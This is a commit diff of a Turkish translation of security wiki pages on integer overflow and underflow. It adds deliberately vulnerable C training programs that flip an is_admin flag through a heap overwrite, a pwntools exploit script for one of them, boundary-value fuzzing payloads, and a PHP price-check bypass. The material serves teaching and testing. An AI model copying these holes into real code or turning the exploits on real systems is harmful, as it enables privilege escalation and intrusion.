Translated ['src/binary-exploitation/integer-overflow-and-underflow.md',

This commit is contained in:
Translator 2025-09-07 14:59:08 +00:00
parent 81dfd10302
commit 21377cd5a8
4 changed files with 411 additions and 157 deletions

View File

@ -785,7 +785,7 @@
- [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md) - [Windows Seh Overflow](binary-exploitation/stack-overflow/windows-seh-overflow.md)
- [Array Indexing](binary-exploitation/array-indexing.md) - [Array Indexing](binary-exploitation/array-indexing.md)
- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md) - [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
- [Integer Overflow](binary-exploitation/integer-overflow.md) - [Integer Overflow](binary-exploitation/integer-overflow-and-underflow.md)
- [Format Strings](binary-exploitation/format-strings/README.md) - [Format Strings](binary-exploitation/format-strings/README.md)
- [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md) - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
- [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md) - [Format Strings Template](binary-exploitation/format-strings/format-strings-template.md)

View File

@ -0,0 +1,368 @@
# Integer Overflow
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
Bir **integer overflow**'un özü, bilgisayar programlamada veri tiplerinin **boyutu** tarafından konulan sınırlama ve verinin **yorumlanması**dır.
Örneğin, bir **8-bit unsigned integer** **0 ile 255** arasındaki değerleri temsil edebilir. Bir 8-bit unsigned integer'a 256 değerini saklamaya çalışırsanız, depolama kapasitesinin sınırı nedeniyle değer 0'a sarar. Benzer şekilde, **16-bit unsigned integer**, **0 ile 65,535** arasındaki değerleri tutabildiği için 65,535'e 1 eklemek değeri tekrar 0'a sarar.
Ayrıca, bir **8-bit signed integer**, **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, işaret (pozitif veya negatif) için bir bit kullanılması ve büyüklüğü temsil etmek için 7 bit kalmasıdır. En küçük negatif sayı **-128** (ikili `10000000`) olarak temsil edilir ve en büyük pozitif sayı **127** (ikili `01111111`)'dir.
Yaygın integer tipleri için maksimum değerler:
| Tip | Boyut (bit) | Min Değer | Max Değer |
|----------------|-------------|--------------------|--------------------|
| int8_t | 8 | -128 | 127 |
| uint8_t | 8 | 0 | 255 |
| int16_t | 16 | -32,768 | 32,767 |
| uint16_t | 16 | 0 | 65,535 |
| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
| uint32_t | 32 | 0 | 4,294,967,295 |
| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
A short, 64-bit sistemlerde `int16_t`'ye; bir int, `int32_t`'ye; ve bir long, `int64_t`'ye eşdeğerdir.
### Maksimum değerler
Potansiyel **web vulnerabilities** için desteklenen maksimum değerleri bilmek çok ilginçtir:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
### Pure overflow
Basılan sonuç 0 olacaktır çünkü char'ta overflow yaptık:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### İşaretliden İşaretsize Dönüştürme
Kullanıcı girdisinden bir işaretli tamsayı okunduğunu ve daha sonra uygun doğrulama yapılmadan işaretsiz tamsayı olarak ele alan bir bağlamda kullanıldığını düşünün:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Bu örnekte, bir kullanıcı negatif bir sayı girerse, ikili değerlerin yorumlanma biçimi nedeniyle bu değer büyük bir işaretsiz tamsayı olarak algılanır ve bu da beklenmeyen davranışlara yol açabilir.
### macOS Taşma Örneği
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Realistic integer-overflow → undersized allocation → heap overflow → flag
* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // Target to flip from 0 → 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
size_t got = 0;
printf("Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) {
got += (size_t)n;
continue;
}
if (n == 0) {
// EOF stop; partial reads are fine for our exploit
break;
}
// n < 0: real error (likely EINVAL when chunk too big on some FDs)
perror("read");
break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Bundle Importer (training) ===");
// 1) Read attacker-controlled parameters (use large values)
size_t count = 0, elem_size = 0;
printf("Entry count: ");
if (scanf("%zu", &count) != 1) return 1;
printf("Entry size: ");
if (scanf("%zu", &elem_size) != 1) return 1;
// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
Then, product32 = 0
*/
uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
// 3) Allocate a single arena and lay out [buffer][slack][session]
// This makes adjacency deterministic (no reliance on system malloc order).
const size_t SLACK = 512;
size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena; // In this buffer the attacker will copy data
struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, alloc32, (void*)sess,
((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
// 4) Copy uses native size_t product (no truncation) → It generates an overflow
size_t to_copy = count * elem_size; // <-- Large size_t
printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
puts(">> Send bundle payload on stdin (EOF to finish)...");
size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
printf("[dbg] actually read = %zu bytes\n", got);
// 5) Privileged action gated by a field next to the overflow target
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Şununla derleyin:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_ovf_heap_priv int_ovf_heap_priv.c
```
#### Exploit
```python
# exploit.py
from pwn import *
# Keep logs readable; switch to "debug" if you want full I/O traces
context.log_level = "info"
EXE = "./int_ovf_heap_priv"
def main():
# IMPORTANT: use plain pipes, not PTY
io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
# 1) Drive the prompts
io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
# 2) Wait until its actually reading the payload
io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
payload = b"A" * 48 + p32(1)
# 4) Send payload, THEN send EOF via half-close on the pipe
io.send(payload)
io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
# 5) Read the rest (should print admin + FLAG)
print(io.recvall(timeout=5).decode(errors="ignore"))
if __name__ == "__main__":
main()
```
### macOS Underflow Örneği
```c
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
/*
* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
*/
__attribute__((noinline))
void win(void) {
puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
exit(0);
}
struct session {
int is_admin; // flip 0 -> 1
char note[64];
};
static size_t read_stdin(void *dst, size_t want) {
// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
const size_t MAX_CHUNK = 1 << 20; // 1 MiB
size_t got = 0;
printf("[dbg] Requested bytes: %zu\n", want);
while (got < want) {
size_t remain = want - got;
size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
if (n > 0) { got += (size_t)n; continue; }
if (n == 0) break; // EOF: partial read is fine
perror("read"); break;
}
return got;
}
int main(void) {
setvbuf(stdout, NULL, _IONBF, 0);
puts("=== Packet Importer (UNDERFLOW training) ===");
size_t total_len = 0;
printf("Total packet length: ");
if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
const size_t HEADER = 16;
// **BUG**: size_t underflow if total_len < HEADER
size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
total_len, HEADER, payload_len);
// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
const size_t SLACK = 256;
size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
unsigned char *arena = (unsigned char*)malloc(arena_sz);
if (!arena) { perror("malloc"); return 1; }
memset(arena, 0, arena_sz);
unsigned char *buf = arena;
struct session *sess = (struct session*)(arena + total_len + 16);
// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
sess->is_admin = 0;
strncpy(sess->note, "regular user", sizeof(sess->note)-1);
printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
puts(">> Send payload bytes (EOF to finish)...");
size_t got = read_stdin(buf, payload_len);
// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
printf("[dbg] actually read = %zu bytes\n", got);
if (sess->is_admin) {
puts("[dbg] admin privileges detected");
win();
} else {
puts("[dbg] normal user");
}
return 0;
}
```
Bunu şu komutla derleyin:
```bash
clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
-o int_underflow_heap int_underflow_heap.c
```
### Diğer Örnekler
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek mümkün
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Birkaç sayı verildiğinde, z3 kullanarak birinci ile çarpıldığında ikinciyi verecek yeni bir sayı bulun:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Parola boyutunu saklamak için sadece 1B kullanılıyor; bu yüzden onu overflow etmek ve gerçek uzunluğu 260 iken sanki 4 olduğunu düşündürerek length check protection'ı bypass etmek ve stack'te sonraki yerel değişkenin üzerine yazmak (overwrite) suretiyle her iki korumayı da bypass etmek mümkün
## ARM64
Bu **ARM64'te değişmiyor**, [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)da görebileceğiniz gibi.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,115 +0,0 @@
# Tam Sayı Taşması
{{#include ../banners/hacktricks-training.md}}
## Temel Bilgiler
Bir **tam sayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından dayatılan sınırlama bulunmaktadır.
Örneğin, bir **8-bit işaretsiz tam sayı** **0 ile 255** arasındaki değerleri temsil edebilir. Eğer 256 değerini bir 8-bit işaretsiz tam sayıya depolamaya çalışırsanız, depolama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **0 ile 65,535** arasındaki değerleri tutabilen bir **16-bit işaretsiz tam sayı** için, 65,535'e 1 eklemek değeri tekrar 0'a döndürür.
Ayrıca, bir **8-bit işaretli tam sayı** **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılmasıdır; bu da geriye 7 bitin büyüklüğü temsil etmesi için kalması demektir. En negatif sayı **-128** (ikili `10000000`) olarak, en pozitif sayı ise **127** (ikili `01111111`) olarak temsil edilir.
### Maksimum değerler
Potansiyel **web güvenlik açıkları** için maksimum desteklenen değerleri bilmek oldukça ilginçtir:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Örnekler
### Saf taşma
Yazdırılan sonuç 0 olacak çünkü char'ı taşırdık:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Signed to Unsigned Conversion
Kullanıcı girdisinden okunan bir işaretli tam sayının, uygun bir doğrulama olmaksızın, işaretsiz bir tam sayı olarak ele alındığı bir durumu düşünün:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
}
```
Bu örnekte, bir kullanıcı negatif bir sayı girerse, bu sayı ikili değerlerin yorumlanma şekli nedeniyle büyük bir işaretsiz tam sayı olarak yorumlanacak ve beklenmedik davranışlara yol açabilir.
### Diğer Örnekler
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır.
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Birkaç sayı verildiğinde, z3 kullanarak ilk sayı ile çarpıldığında ikinci sayıyı veren yeni bir sayı bulun:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve hem uzunluk kontrol korumasını atlatır hem de yığında bir sonraki yerel değişkeni üzerine yazar.
## ARM64
Bu **ARM64'te değişmez**; [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebileceğiniz gibi.
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,46 +1,45 @@
# Tam Sayı Taşması (Web Uygulamaları) # Integer Overflow (Web Applications)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
> Bu sayfa, **tam sayı taşmalarının/kesimlerinin web uygulamalarında ve tarayıcılarda nasıl kötüye kullanılabileceğine** odaklanmaktadır. Yerel ikili dosyalar içindeki istismar ilkeleri için özel sayfayı okumaya devam edebilirsiniz: > This page focuses on how **integer overflows/truncations can be abused in web applications and browsers**. For exploitation primitives inside native binaries you can continue reading the dedicated page:
> >
> >
{{#ref}} {{#ref}}
> ../../binary-exploitation/integer-overflow-and-underflow.md > ../../binary-exploitation/integer-overflow-and-underflow.md
> > {{#endref}}
{{#endref}}
--- ---
## 1. Neden tam sayı matematiği web'de hala önemlidir ## 1. Why integer math still matters on the web
Modern yığınlardaki çoğu iş mantığı *bellek güvenli* dillerde yazılmış olsa da, temel çalışma zamanı (veya üçüncü taraf kütüphaneler) nihayetinde C/C++ ile uygulanmaktadır. Kullanıcı kontrolündeki sayılar tamponları ayırmak, ofsetleri hesaplamak veya uzunluk kontrolleri yapmak için kullanıldığında, **32-bit veya 64-bit sarılması, görünüşte zararsız bir parametreyi sınır dışı okuma/yazma, mantık atlaması veya DoS'a dönüştürebilir**. Modern yığınlardaki çoğu business-logic *memory-safe* dillerde yazılmış olsa da, altında yatan runtime (veya üçüncü taraf kütüphaneler) sonunda C/C++ ile implement edilir. Kullanıcı kontrollü sayılar buffer tahsisi, offset hesaplama veya uzunluk doğrulamaları için kullanıldığında, **32-bit veya 64-bit wrap-around** görünürde zararsız bir parametreyi out-of-bounds read/write, bir logic bypass veya DoS'e dönüştürebilir.
Tipik saldırı yüzeyi: Tipik saldırı yüzeyi:
1. **Sayısal istek parametreleri** klasik id, ofset veya sayı alanları. 1. **Numeric request parameters** klasik id, offset veya count alanları.
2. **Uzunluk / boyut başlıkları** Content-Length, WebSocket çerçeve uzunluğu, HTTP/2 continuation_len, vb. 2. **Length / size headers** Content-Length, WebSocket frame length, HTTP/2 continuation_len, vb.
3. **Sunucu tarafında veya istemci tarafında ayrıştırılan dosya formatı meta verileri** resim boyutları, parça boyutları, yazı tipi tabloları. 3. **File-format metadata parsed server-side or client-side** image dimensions, chunk sizes, font tables.
4. **Dil düzeyinde dönüşümler** PHP/Go/Rust FFI'de işaretli↔işaretsiz dönüşümler, V8 içinde JS Number → int32 kesimleri. 4. **Language-level conversions** signed↔unsigned casts in PHP/Go/Rust FFI, JS Number → int32 truncations inside V8.
5. **Kimlik doğrulama ve iş mantığı** sessizce taşan kupon değeri, fiyat veya bakiye hesaplamaları. 5. **Authentication & business logic** coupon value, price veya balance hesaplamaları sessizce overflow olduğunda.
--- ---
## 2. Son zamanlardaki gerçek dünya zafiyetleri (2023-2025) ## 2. Recent real-world vulnerabilities (2023-2025)
| Yıl | Bileşen | Temel neden | Etki | | Year | Component | Root cause | Impact |
|------|-----------|-----------|--------| |------|-----------|-----------|--------|
| 2023 | **libwebp CVE-2023-4863** | Çözülmüş piksel boyutunu hesaplarken 32-bit çarpma taşması | Chrome 0-günü tetikledi (iOS'ta BLASTPASS), *uzaktan kod yürütme* izni verdi. | | 2023 | **libwebp CVE-2023-4863** | 32-bit multiplication overflow when computing decoded pixel size | Triggered a Chrome 0-day (BLASTPASS on iOS), allowed *remote code execution* inside the renderer sandbox. |
| 2024 | **V8 CVE-2024-0519** | JSArray büyütülürken 32-bit'e kesilme, destekleyici depoda OOB yazmaya yol açar | Tek bir ziyaret sonrası uzaktan kod yürütme. | | 2024 | **V8 CVE-2024-0519** | Truncation to 32-bit when growing a JSArray leads to OOB write on the backing store | Remote code execution after a single visit. |
| 2025 | **Apollo GraphQL Server** (yayınlanmamış yamanın) | İlk/son sayfalama argümanları için kullanılan 32-bit işaretli tam sayı; negatif değerler büyük pozitiflere sarılır | Mantık atlaması ve bellek tükenmesi (DoS). | | 2025 | **Apollo GraphQL Server** (unreleased patch) | 32-bit signed integer used for first/last pagination args; negative values wrap to huge positives | Logic bypass & memory exhaustion (DoS). |
--- ---
## 3. Test stratejisi ## 3. Testing strategy
### 3.1 Sınır değeri ipucu sayfası ### 3.1 Boundary-value cheat-sheet
Bir tam sayı beklenirken **aşırı işaretli/işaretsiz değerler** gönderin: Bir integer beklendiği her yere **extreme signed/unsigned values** gönderin:
``` ```
-1, 0, 1, -1, 0, 1,
127, 128, 255, 256, 127, 128, 255, 256,
@ -49,9 +48,9 @@ Bir tam sayı beklenirken **aşırı işaretli/işaretsiz değerler** gönderin:
9223372036854775807, 9223372036854775808, 9223372036854775807, 9223372036854775808,
0x7fffffff, 0x80000000, 0xffffffff 0x7fffffff, 0x80000000, 0xffffffff
``` ```
Diğer yararlı formatlar: Diğer faydalı formatlar:
* Hex (0x100), sekizli (0377), bilimsel (1e10), JSON büyük-tamsayı (9999999999999999999). * Hex (0x100), octal (0377), scientific (1e10), JSON big-int (9999999999999999999).
* Özel ayrıştırıcılara ulaşmak için çok uzun rakam dizileri (>1kB). * Çok uzun rakam dizileri (>1kB) — özel parsers'ı tetiklemek için.
### 3.2 Burp Intruder şablonu ### 3.2 Burp Intruder şablonu
``` ```
@ -62,15 +61,15 @@ Pad to length: 10, Enable hex prefix 0x
``` ```
### 3.3 Fuzzing kütüphaneleri ve çalışma zamanları ### 3.3 Fuzzing kütüphaneleri ve çalışma zamanları
* **AFL++/Honggfuzz** ile parser etrafında libFuzzer harness (örn., WebP, PNG, protobuf). * **AFL++/Honggfuzz** — ayrıştırıcı etrafında libFuzzer harness ile (ör. WebP, PNG, protobuf).
* **Fuzzilli** JavaScript motorlarının dil bilgisi farkındalığı ile fuzzing'i, V8/JSC tam sayı kesmelerine ulaşmak için. * **Fuzzilli** — dilbilgisine duyarlı fuzzing ile JavaScript engine'lerini hedefleyerek V8/JSC integer truncations'ı hedefler.
* **boofuzz** uzunluk alanlarına odaklanan ağ protokolü fuzzing'i (WebSocket, HTTP/2). * **boofuzz** — ağ protokolü fuzzing'i (WebSocket, HTTP/2) ile uzunluk alanlarına odaklanır.
--- ---
## 4. Sömürü desenleri ## 4. Exploitation patterns
### 4.1 Sunucu tarafı kodunda mantık atlatma (PHP örneği) ### 4.1 Logic bypass in server-side code (PHP example)
```php ```php
$price = (int)$_POST['price']; // expecting cents (0-10000) $price = (int)$_POST['price']; // expecting cents (0-10000)
$total = $price * 100; // ← 32-bit overflow possible $total = $price * 100; // ← 32-bit overflow possible
@ -79,28 +78,30 @@ die('Too expensive');
} }
/* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */ /* Sending price=21474850 → $total wraps to 2147483648 and check is bypassed */
``` ```
### 4.2 Görüntü kodlayıcı aracılığıyla yığın taşması (libwebp 0-günü) ### 4.2 Heap overflow via image decoder (libwebp 0-day)
WebP kayıpsız kodlayıcı, 32-bit int içinde görüntü genişliğini × yüksekliğini × 4 (RGBA) ile çarpar. 16384 × 16384 boyutlarına sahip bir dosya, çarpımı taşır, kısa bir tampon ayırır ve ardından yığının ötesine **~1GB** sıkıştırılmamış veri yazar bu da 116.0.5845.187 öncesindeki her Chromium tabanlı tarayıcıda RCE'ye yol açar. The WebP lossless decoder multiplied image width × height × 4 (RGBA) inside a 32-bit int. A crafted file with dimensions 16384 × 16384 overflows the multiplication, allocates a short buffer and subsequently writes **~1GB** of decompressed data past the heap leading to RCE in every Chromium-based browser before 116.0.5845.187.
### 4.3 Tarayıcı tabanlı XSS/RCE zinciri ### 4.3 Browser-based XSS/RCE chain
1. V8'deki **tamsayı taşması**, keyfi okuma/yazma sağlar. 1. V8'deki **Integer overflow** rastgele read/write sağlar.
2. İkinci bir hata ile kum havuzunu aşın veya bir yük bırakmak için yerel API'leri çağırın. 2. Sandbox'tan kaçmak için ikinci bir bug kullanın veya native APIs çağırıp bir payload bırakın.
3. Yük, ardından köken bağlamına kötü niyetli bir betik enjekte eder → saklanan XSS. 3. Payload daha sonra origin bağlamına zararlı bir script enjekte eder → stored XSS.
--- ---
## 5. Savunma yönergeleri ## 5. Savunma yönergeleri
1. **Geniş türler veya kontrol edilen matematik kullanın** örneğin, size_t, Rust checked_add, Go math/bits.Add64. 1. **Use wide types or checked math** örn., size_t, Rust checked_add, Go math/bits.Add64.
2. **Aralıkları erken doğrulayın**: aritmetik işlemden önce iş alanının dışındaki herhangi bir değeri reddedin. 2. **Validate ranges early**: aritmetik işlemden önce iş alanı dışındaki herhangi bir değeri reddedin.
3. **Derleyici sanitizasyonlarını etkinleştirin**: -fsanitize=integer, UBSan, Go yarış dedektörü. 3. **Enable compiler sanitizers**: -fsanitize=integer, UBSan, Go race detector.
4. **CI/CD'de fuzzing benimseyin** kapsama geri bildirimini sınır verileri ile birleştirin. 4. **Adopt fuzzing in CI/CD** coverage feedback ile boundary corpora'yı birleştirin.
5. **Yaman kalın** tarayıcı tamsayı taşması hataları genellikle haftalar içinde silahlandırılır. 5. **Stay patched** browser integer overflow hataları genellikle haftalar içinde istismar edilir.
--- ---
## Referanslar
* [NVD CVE-2023-4863 libwebp Yığın Tampon Taşması](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "V8 CVE-2024-0519'u Anlamak"](https://googleprojectzero.github.io/) ## References
* [NVD CVE-2023-4863 libwebp Heap Buffer Overflow](https://nvd.nist.gov/vuln/detail/CVE-2023-4863)
* [Google Project Zero "Understanding V8 CVE-2024-0519"](https://googleprojectzero.github.io/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}